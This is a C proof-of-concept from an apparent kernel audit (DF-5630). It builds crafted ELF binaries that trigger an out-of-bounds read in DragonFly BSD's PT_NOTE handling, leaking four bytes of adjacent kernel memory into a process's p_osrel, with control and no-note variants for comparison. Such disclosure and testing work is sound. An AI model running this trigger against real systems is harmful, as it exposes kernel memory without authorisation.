DF-5630 / make_note.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 | /* * DF-5630 — OOB read past PT_NOTE segment end in bsd_trans_osrel(). * * sys/kern/imgact_elf.c:check_PT_NOTE() validates a candidate note with * note_overflow(), which bounds ONLY n_namesz. When the note header * matches the DragonFly brandnote ({10, 4, 1}, vendor "DragonFly", * BN_TRANSLATE_OSREL — the note registered by the brand this file under * audit binds at sys/cpu/x86_64/misc/elf_machdep.c:67), the callback * bsd_trans_osrel() unconditionally reads a 4-byte descriptor at * (note + 1) + roundup2(n_namesz, 4) == note + 24 * (imgact_elf.c:1870-1872) even though only * sizeof(Elf_Note) + n_namesz == 22 bytes were proven in-bounds. * * This builder emits binaries with EI_OSABI = 255 so ONLY the ABI-note can * brand them, and places the note so that it ends just before page end: * bug : p_offset=4072 p_filesz=22 (header+name, NO descriptor) * -> descriptor read at image_header[4096..4099] = 4 bytes past * the lwbuf-mapped first page (DMAP: adjacent physical page) * control : p_offset=4064 p_filesz=28 (header+name+pad+desc=0x44332211) * controlnonote: no PT_NOTE at all. * All carry a PT_LOAD of a 2-byte `jmp .-0` stub at file offset 256 * (vaddr 0x400100, the entry point) so a successfully-branded process * stays alive for post-mortem p_osrel inspection (see df_osrel.c). * * Expected on a vulnerable kernel: * bug -> process runs (spins), p_osrel = 4 OOB bytes (varies) * control -> process runs (spins), p_osrel = 0x44332211 * nonote -> ENOEXEC ("Exec format error") */ #include <sys/stat.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #define PHNUM 2 #define CODE_OFF 256 /* note offsets MUST be 4-aligned: check_PT_NOTE() breaks on * aligned(note, Elf32_Addr) otherwise (image_header is page-aligned). */ #define NOTE_OFF_BUG 4072 /* +22 -> note ends at 4094; the */ #define NOTE_SZ_BUG 22 /* descriptor read at 4096..4099 */ /* is fully past the mapped page */ #define NOTE_OFF_CTL 4064 /* +28 -> full note incl. 4-byte */ #define NOTE_SZ_CTL 28 /* descriptor, ends at 4092 */ #define FILESZ 4095 static void put16(uint8_t *p, uint16_t v){ p[0]=v&0xff; p[1]=v>>8; } static void put32(uint8_t *p, uint32_t v){ memcpy(p, &v, 4); } static void put64(uint8_t *p, uint64_t v){ memcpy(p, &v, 8); } static void common_ehdr(uint8_t *buf) { buf[0]=0x7f; buf[1]='E'; buf[2]='L'; buf[3]='F'; buf[4]=2; buf[5]=1; buf[6]=1; buf[7]=255; /* EI_OSABI = invalid: note-only branding */ put16(buf+16, 2); /* ET_EXEC */ put16(buf+18, 62); /* EM_X86_64 */ put32(buf+20, 1); put64(buf+24, 0x400000 + CODE_OFF); /* e_entry -> stub vaddr */ put64(buf+32, 64); /* e_phoff */ put64(buf+40, 0); put32(buf+48, 0); put16(buf+52, 64); /* e_ehsize */ put16(buf+54, 56); /* e_phentsize */ put16(buf+56, PHNUM); put16(buf+58, 0); put16(buf+60, 0); put16(buf+62, 0); } static void put_load(uint8_t *buf) { uint8_t *ph = buf + 64; put32(ph+0, 1); /* PT_LOAD */ put32(ph+4, 5); /* R+X */ put64(ph+8, CODE_OFF); put64(ph+16, 0x400000); put64(ph+24, 0); put64(ph+32, 2); /* filesz: "eb fe" = jmp .-0 at file 256 */ put64(ph+40, 258); /* memsz: span up to the entry (0x400100) * so exec_elf64_imgact() sets e_entry */ put64(ph+48, 16); buf[CODE_OFF+0] = 0xeb; /* jmp rel8 -2 */ buf[CODE_OFF+1] = 0xfe; } static void put_note_phdr(uint8_t *buf, uint64_t off, uint64_t sz) { uint8_t *ph = buf + 64 + 56; put32(ph+0, 4); /* PT_NOTE */ put32(ph+4, 0); put64(ph+8, off); put64(ph+16, off); put64(ph+24, 0); put64(ph+32, sz); put64(ph+40, sz); put64(ph+48, 4); } int main(int argc, char **argv) { uint8_t buf[FILESZ]; const char *vendor = "DragonFly"; uint32_t ctl_desc = 0x44332211; FILE *f; if (argc < 3) { fprintf(stderr, "usage: %s bug|control|nonote out.bin\n", argv[0]); return 2; } memset(buf, 0, sizeof(buf)); common_ehdr(buf); put_load(buf); if (strcmp(argv[1], "bug") == 0) { /* header + name, ends at 4095: descriptor fully OOB */ put_note_phdr(buf, NOTE_OFF_BUG, NOTE_SZ_BUG); put32(buf+NOTE_OFF_BUG+0, 10); /* n_namesz */ put32(buf+NOTE_OFF_BUG+4, 4); /* n_descsz (claimed!) */ put32(buf+NOTE_OFF_BUG+8, 1); /* n_type */ memcpy(buf+NOTE_OFF_BUG+12, vendor, strlen(vendor)+1); } else if (strcmp(argv[1], "control") == 0) { /* full note incl. 4-byte descriptor, still ends at 4095 */ put_note_phdr(buf, NOTE_OFF_CTL, NOTE_SZ_CTL); put32(buf+NOTE_OFF_CTL+0, 10); put32(buf+NOTE_OFF_CTL+4, 4); put32(buf+NOTE_OFF_CTL+8, 1); memcpy(buf+NOTE_OFF_CTL+12, vendor, strlen(vendor)+1); memcpy(buf+NOTE_OFF_CTL+24, &ctl_desc, 4); } else { /* nonote: keep phnum 2? drop to 1 by zeroing 2nd phdr type */ put32(buf+64+56+0, 0); /* PT_NULL */ } f = fopen(argv[2], "wb"); if (!f) { perror("fopen"); return 2; } fwrite(buf, 1, sizeof(buf), f); fclose(f); chmod(argv[2], 0755); return 0; } |